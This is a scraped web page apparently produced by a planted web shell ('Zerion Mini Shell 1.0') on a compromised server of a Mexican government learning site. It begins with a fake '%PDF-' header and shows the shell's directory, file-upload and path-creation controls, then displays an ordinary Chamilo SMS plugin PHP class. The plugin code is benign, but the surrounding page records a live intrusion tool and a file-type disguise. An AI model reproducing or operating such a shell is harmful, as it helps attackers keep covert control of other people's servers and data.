%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/plugin/clockworksms/lib/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/plugin/clockworksms/lib/clockworksms_plugin.class.php

<?php
/* For licensing terms, see /vendor/license.txt */

/**
 * Class ClockworksmsPlugin
 * This script contains SMS type constants and basic plugin functions.
 *
 * @package chamilo.plugin.clockworksms.lib
 *
 * @author  Imanol Losada <imanol.losada@beeznest.com>
 * @author Julio Montoya - Refactor code
 */
class ClockworksmsPlugin extends SmsPlugin
{
    /**
     * Constructor.
     */
    public function __construct()
    {
        $fields = ['tool_enable' => 'boolean', 'api_key' => 'text'];
        $smsTypeOptions = $this->getSmsTypeOptions();
        foreach ($smsTypeOptions as $smsTypeOption) {
            $fields[$smsTypeOption] = 'checkbox';
        }
        parent::__construct('0.1', 'Imanol Losada', $fields);
    }

    /**
     * create (a singleton function that ensures ClockworksmsPlugin instance is
     * created only once. If it is already created, it returns the instance).
     *
     * @return object ClockworksmsPlugin instance
     */
    public static function create()
    {
        static $result = null;

        return $result ? $result : $result = new self();
    }

    /**
     * install (uninstalls the plugin and removes all plugin's tables and/or rows).
     */
    public function uninstall()
    {
        $tSettings = Database::get_main_table(TABLE_MAIN_SETTINGS_CURRENT);
        $sql = "DELETE FROM $tSettings WHERE subkey = 'clockworksms'";
        Database::query($sql);
    }
}

Zerion Mini Shell 1.0